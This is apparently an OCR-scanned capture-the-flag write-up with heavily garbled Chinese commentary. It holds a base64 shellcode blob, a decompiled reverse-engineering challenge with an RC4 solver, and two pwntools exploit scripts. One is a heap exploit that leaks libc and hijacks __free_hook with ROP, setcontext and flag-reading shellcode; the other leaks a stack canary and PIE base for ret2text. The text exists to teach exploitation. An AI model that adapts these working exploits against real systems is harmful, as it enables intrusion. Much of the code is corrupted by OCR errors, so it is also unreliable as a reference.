b'6QAAAABVi+yB7TMAAAACNhUD/ / /9Q6HAEAABZxkXAAMZ FWQDGRCIAxkXDAMZFxADGRCUAXKXG
AMZFxwDGRcgAxkXJAMZFygDGRcsAxkXMAMZFzQDGRc4AxkXPAMZFOADGRAEAXkXSAMZFOwWDGRd
QAXkXVAMZF 1gDGRdAcAxkXYAMZF2QDGRdoAxkXbAMZF3ADGRAOAxkXeAMZF3wDGReAAXxkXhAMZF
4gDGReMAXkXKAMZF5QDGReYAXkXnAMZF6ADGRekAXkXqAMZF6WDGRRGXxkX1TMZFOKHGR fdHxk
X4AGosjUXAUILFOFD/ W] ////GRZQAXkWVAMZF 1gDGRZcAxkWYAMZFmQDGRZoAxkWbAMZFnADG
RZOAxkWeAMZFnwDGRaAAXkWhAMZFogDGRaMAXxkWkAMZFpQDGRaYAxkWnAMZFgADGRakAxkWgAM
ZFgqwDGRawAXkWtAMZFrgDGRa8AXxkWwAMZFsQDGRbIAxkWzAMZFtADGRbUAxKW2AMZFtwDGRbgA
xKW5AMZFugDGRbsAxkW8AMZFvQDGRb4AXxkW/AMaFbP///2TGhW3///8uxoVu////kMaFb////z
TGhXD///9BxoVx////2MaFcv///yTGhXP////LxoV@////UsaFdf///yT7GhXb////TxoV3////
OcaFeP///z7GhXn///+RxoV6////B8aFe////w7GhXz///+WxoV9////9saFfv///zzGhX////
8JIXKWANMZFgSHGRYKSXKWDICcZFhLLGRYXMXKWGN8ZFh1HGRYhIXKWJY8ZFikzGRYuPxkWMcsZF
jV3GRY6/xKkWPbMZFkFHGRZF23jUWUUGomj UXAUOg4AWAAg8QMg2X8A0sH1OX8QI1F/IN9/CZ9G4
tF/A+2RAWUi1038D7aMDWz/ / /8 TwXQC6ZzLr2MZFTEPGRe1vxkXucsZF73LGRTBIxkXxY8ZF8nTG
RfMAakBgAI1lF7FBgAP+VRP///8nDVYvsg+xIZKEWAAAATUXUTOXU70AMiUXQi0XQiOAMiUXMi0O
XMiUXki0Xkg3gYAA+EbBQEAAINT8ACLReSLQBiJReiLReSLSCyLQDCITbiIRbyLRei1LTegDSDyJ
TchgqCFhrwACLTciLRAF471UXY10XkiwCIReSDfdgAdQLIrg4N1+ADrB4tF+ECIRTgPtOW60UX4cO
WLRbwDRfiIRFSLRfDB6A2LTfDBARMLWY LF8ItFIA++AIP4YXwSi0XOD74A103wjUQB4I1F80sM
FOXOD74AAOXwiUXw66uLRegDRdiJReCLReCLQBiJRcSLReCLTegDSCCITdyDZfgA6weLRfhAiU
X4710X400XED400AAAAg2XSATtF3IsAAOX0TUXATOXCcg8AETUXCiOXATUXO10XswegNiO3sweET
C8GJReyLRfQPvgADReyJReyLRfRATUXQi0XOD75A/4XAddGLRewDRfCIReyLRew7RQh1K4tF4T
tN6ANIJItF+GaLBEFmMiUX810Xgi030A0gcD7dF/ItV6AMUgYvCewzpX////+mG/v//M8DIwlWL
TIPsGGhMdyYH6EV+//9Z7100I1QHGRTR1XxkX1c8ZFImMXGRfdyxkX4M8ZF+TLGRfouxkX7ZMZF /G
ZGRf1sxkX+AMZF6HTGRelpxkXqbsZF62nGRexuxkXtZcZF7nTGRe8uxkXwZMZF8WzGRfJIsxkXz
AI1F6FCLRQ]j/EI1F9FCLRQ]/EGg6VNMN6M39//9Zi00IiUEIaNNrbtTovP3//1mLTQ1IQQXx0Ep
aJauir/f//WYtNCI1BEGhYpFP163r9//9Z100I1UEUaCOGGHvV01 f3//1mLTQiJQRhoRPA140h4
[/ /WYtNCITBHGhXiZ/G6Gf9//9Z7100IiUEgaOtVLjvoVv3//1mLTQiJQSRORYNWB+hF/f//WY
tNCI1BBGjnrc7d6DT9//9Zi00IiUEoycNVi+yB7CQBAADGReRNXxkX1b8ZF5mzGRedhxkXobsZF
6WfGRepjxkXrMsZF7ADHReAIAAAAg2X4A0sHi1OX4QIF+IF9+AABAABOD4tF+IpN+IiMBdz+//
/r4YNL9ACLRfSIRfjrB4tF+ECIRTiBffgAAQAAfV2LRfi12933gD75EFeQDRTSLT fgPtowN3P7/
/wPBJIf8AAIB5BOgNAP/ / /OCIRFSLRfiKhAXc/v//iEX/10X4103070WN3P7//4iMBdz+//+LRf
SKTf+IjAXc/v//650DZTQAT0X0TUX4g2XwAOSHT1OXwQITF8ItF8DtFDA+NXAAAATtF+EAT/WAA
gHKHSAGA////QILF+ItF+A+2hAXc/v//AGXOIf8AAIB5BOgNAP///OCIRTSLRfiKhAXc/v//iE
X/10X4703070wN3P7//4iMBdz+//+LRfSKTf+IjAXc/v//i10X4D7aEBdz+//+LTfQPtowN3P7/
/4Hh /wAAgHKISYHJAP///OEDwWSX/AACAeQdIDQD///9AiUXci0XcioQF3P7//4hF/4tFCANF8A
++AA++Tf8zwYtNEANN8IgB6SNn////Iww==\r\nO\r\n\r\n\xo00'

SZhn L EiRE EEHITER DR AT A

int sub_29F0005()
{



int result; // eax

char v1[4]; // [esp+0Oh] [ebp-COh] BYREF

int (__stdcall *v2)(_DWORD, char *, _DWORD, int); // [esp+4h] [ebp-BCh]
void (__stdcall *v3) (char x, char x, int); // [esp+28h] [ebp-98h]
char v4[35]; // [esp+2Ch] [ebp-94h]

char v5[3]; // [espt+4Fh] [ebp-71h] BYREF

char v6[44]; // [espt+54h] [ebp-6Ch] BYREF

char v7[44]; // [esp+80h] [ebp-40h] BYREF

char v8[8]; // [esp+ACh] [ebp-14h] BYREF

char v9[8]; // [esptB4h] [ebp-Ch] BYREF

int i; // [esp+BCh] [ebp-4h]

((void (__cdecl x)(char x))unk_29F048A) (v1); // #EXwindows APTiit
v7[0] ©3

v7[1] =
v7[2] =
v7[3] =
v7[4] =
v7[5] =
v7[6e] =
v7[7] =
v7([8] =
v7[9] =
v7[10] =
v7[11] =
v7[12] =
v7[13] =
v7[14] =
v7[15] =
v7[16] =
v7[17] =
v7[18] =
v7[19] =
v7[20] =
v7[21] =
v7[22] =
v7[23] =
v7[24] =
v7[25] =
v7[26] =
v7[27] =
v7[28] =
v7[29] =
v7[30] =
v7[31] =
v7[32] =
v7[33] =
v7[34] =
v7[35] =

1
e we  we

e -

e

e

© © 06 © © © o o o
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e

e



v7[36] =
v7[37] =
v7[38] =
v7[39] =
v7[40] =
v7[41] =
v7[42] =
v7[43] =
strcpy(v9, "FLAG");

e we  we

e

e

-

© © © © © O O o

e

v3(v9, v7, 44); // get environment var
v6[0] = 0;
v6[1] = 0O
v6[2] = 0
v6[3] = 0
v6[4] = 0
Vv6[5] = 0;
0
0
0
0

b
3

.
3

v6[6] =
v6[7] =
v6[8] =
v6[9] =
v6[10] =
v6[1l] =
v6[12] =
v6[13] =
v6[14] =
v6[15] =
v6[16] =
v6[17] =
v6[18] =
v6[19] =
v6[20] =
v6[21] =
v6[22] =
v6[23] =
v6([24] =
v6[25] =
v6[26] =
v6[27] =
v6[28] =
v6[29] =
v6[30] =
v6[31] =
v6[32] =
v6[33] =
v6[34] =
v6[35] =
v6[36] =
v6[37] =
v6[38] =

5

e
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e



v6[39] = 0;
v6[40] = 0;
v6[41] = 0;
v6[42] = 0;
v6[43] = 0;
v4[0] = 100;
v4[1] = 46;
v4[2] = -112;
v4[3] = 52;
v4[4] = 65;
V4[5] = -40;
v4[6] = 36;
v4[7] = -53;
v4[8] = 82;
v4[9] = 46;
v4[10] = -5;
v4[11] = 57;
v4[12] = 62;
v4[13] = -111;
v4[14] = 7;
v4[15] = 14;
v4[1l6] = -106;
v4[17] = -10;
v4[18] = 60;
v4[19] = 9;
v4[20] = -100;
v4[21] = 33;
v4[22] = -110;
v4[23] = 33;

va[24] = -78;
v4[25] = -52;

v4[26] = -97;
v4[27] = 81;
v4[28] = 72;
v4[29] = 99;
v4[30] = 76;
v4[31] = -113;
v4[32] = 114;
v4[33] = 93;

v4[34] = -65;
gmemcpy (v5, "1Qv", sizeof(v5));
((void (__cdecl *)(char %, 1int, char *))unk_29F05BA) (v7, 38, v6); // A&
IS, rcaini® , ®hgolangc2
for (i =0; i < 38; ++i )
{
result = (unsigned __int8)ve[i];
if ( result != (unsigned __int8)v4[i] )

return result;



strcpy(v8, "Correct");
return v2(0, v8, 0, 64);
}

FIXE RN agh9tzOER o T
RS

#include <inttypes.h>
#include <stdio.h>

#include <string.h>

uint8_t f[]={0x64, Ox2e, Ox90, 0x34, 0x41l, 0xd8, 0x24, Oxcb, 0x52, Ox2e,
Oxfb, 0x39, Ox3e, Ox91, Ox7, Oxe, 0x96, 0xf6, 0x3c, 0x9, Ox9c, Ox21, Ox92,
0x21, Oxb2, Oxcc, Ox9f, Ox51, 0x48, 0x63, 0x4c, Ox8f, Ox72, Ox5d,
Oxbf,'1','Q",'Vv'};

void rc4_init(unsigned char xs, unsigned char *key, unsigned long Len) //
VAR AR
{

int i =0, j = 0;

char k[256] {0};

unsigned char tmp = 0;

for (i=0;1<256;17++) {

s[i] = 13
k[i] = key[i%Len];

}

for (i=0; 1<256; i++) {
j=(j+s[i]1+k[i])%256;
tmp = s[i];
s[i] = s[j1; //3#es[i]1Ms[j]
s[j] = tmp;

void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len)
/ /i
{
inti=0, j=0,t=0;
unsigned long k = 0;
unsigned char tmp;
for (k=0;k<Lenj;k++) {
i=(i+1)%256;
j=(j+s[1])%256;

tmp = s[i];
s[i] = s[31; //3&#ks[x1Ms[y]
s[j] = tmp;

t=(s[i]+s[]j])%256;
Datal[k] 7= s[t];



}
int main(){
uint8_t sbox[257];
rc4_init(sbox, (uint8_tx)"golangc2",8);
rc4_crypt(sbox,f,38);
printf("%s\n",f);
return 0;
}
pwn
EasyHeap

HiBHN A NEL B IRIE—FRE AN XA NRERN, BEsize R 2 BRI, FAATTER
MAZEE S MR ANsize KT S it AR M) (AT AR St B Hhtil, BZEfd), XEAFET
2 T execve(), BRI X AR 7HIER, FRAIEorwishellcode B EIBRMNER L, FRAEHKIE—0

X HJhookE L shellcodettiit+piefmFZEN AT

from pwn import *

p=process('./Easyheap')

#p=remote('node4.buuoj.cn',27551)

#1ibc=ELF('/1lib/x86_64-1linux-gnu/libc.so.6")

Tibc=ELF('./1libc-2.27.s0")

elf=

ELF('./Easyheap')

context.binary=elf

context.log_level='debug'

def

def

def

def

add(size,con):
p.sendlineafter('>> :\n','1")
p.recvuntil('Size:")
p.sendline(str(size))
p.recvuntil('Content:")
p.sendline(con)

free(didx):
p.sendlineafter('>> :\n','2")

p.sendlineafter ('Index:\n',str(idx))

show(idx) :
p.sendlineafter('>> :\n','3")

p.sendlineafter ('Index:\n',str(idx))

edit(idx,content):
p.sendlineafter('>> :\n','4")
p.recvuntil('Index:")
p.sendline(str(idx))

p.recvuntil('Content:"')



p.sendline(content)

def pwn():
for i in range(7):
add (0x100, 'a'*0x90)
add (0x100, 'a' *0x90)
add (0x100, 'a' *0x90)
for i in range(7):
free(d)
free(7)
for i in range(7):
add (0x100, 'a' *0x90)
add (0x100,'")
edit(7,'a'*0x20)
show (7)
libc_base = u64(p.recvuntil('\x7F')[-6:].1just(8,'\x00"'))-0x3ebcOa
log.success('libc_base: '+hex(libc_base))
edit(7,'a'*0x18+p64 (0x81))
free_hook=11ibc_base+libc.sym['__free_hook']
sys_addr=1libc_base+1libc.sym['system']
malloc_hook=11ibc_base+libc.sym['__malloc_hook']-0x23
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall=1l1ibc_base+libc.search(asm("syscall\nret")) .next()
print(hex(syscall))
free(7)
edit(0,'a'*0x98+p64(0x21)+p64(free_hook))
gad = [
libc_base+0x215bf,
free_hook & Oxfffffffffffffooo,
libc_base+0x23eea,
0x2000,
libc_base+0x1b96,
7,
libc_base+0x43ae8,
10,
syscall, #: syscall; ret;

libc_base+0x2bld, #: jmp rsp;

shellcode = asm('"'

XOr rax, rax

xor rdi, rdi

xor rsi, rsi

xor rdx, rdx

mov rax, 2

mov rdi, Ox67616c662f2e
push rdi

mov rdi, rsp

syscall



mov rdx, 0x100
mov rsi, rdi
mov rdi, rax
mov rax, O

syscall

mov rdi, 1

mov rax, 1

syscall

)

frame = SigreturnFrame()

frame.rax=0

frame.rdi=0
frame.rsi=free_hook&Oxfffffffffffffooo
frame.rdx=0x2000
frame.rsp=free_hook&oxfffffffffffffooo
frame.rip=syscall

pl=str(frame)

add (0x100, 'ddd")

add (0x100,p64 (setcontext))

add (0x300, 'a'*0x190)

add (0x120, 'd'*0x110)

edit(9,pl)

free(9)

p.sendline(flat(gad) + shellcode)

p.interactive()

pwn ()

old_thing
EIE:SETPN

p.sendlineafter ('username: ','admin\x00')
p.sendlineafter ('password: ','A80\x00'.1ljust(0x20,'\x00"'))

FIREZSekS
[EEMEEMNcanaryi%ii it 7, S5iBF0x18F T %stTElHicanary, BIEFE0x28F 11T ENtiret
RS pie SHARES, &/aret2textiifT T

#coding:utf-8

from pwn import *

context.log_level='debug'

#p=process('./canary3")

p = remote("node4.buuoj.cn","25168")

p.sendlineafter ('username: ', 'admin\x00")

p.sendlineafter ('password: ','A80\x00'.1ljust(0x20,'\x00"'))
print str(proc.pidof(p))



pause()

payload="a'*0x19
p.sendlineafter('3.exit\n','2")
p.sendafter ('input:',payload)
p.sendlineafter('3.exit\n','1")
p.recvuntil('a'*0x18)
canary=u64(p.recv(8).1ljust(8,'\x00"'))-0x61

print hex(canary)

payload="a'*x0x20

p.sendlineafter('3.exit\n','2")
p.sendafter('input:',payload)
p.sendlineafter('3.exit\n','1")
p.recvuntil('a'*0x20)
pie=u64(p.recv(6).ljust(8,'\x00"'))-0x2530#+0x1ffado
print hex(pie)

payload="a'x0x18+p64 (canary)*x2+p64 (pie+Ox23af)
p.sendline('2")

p.sendafter ('input:',payload)

p.interactive()



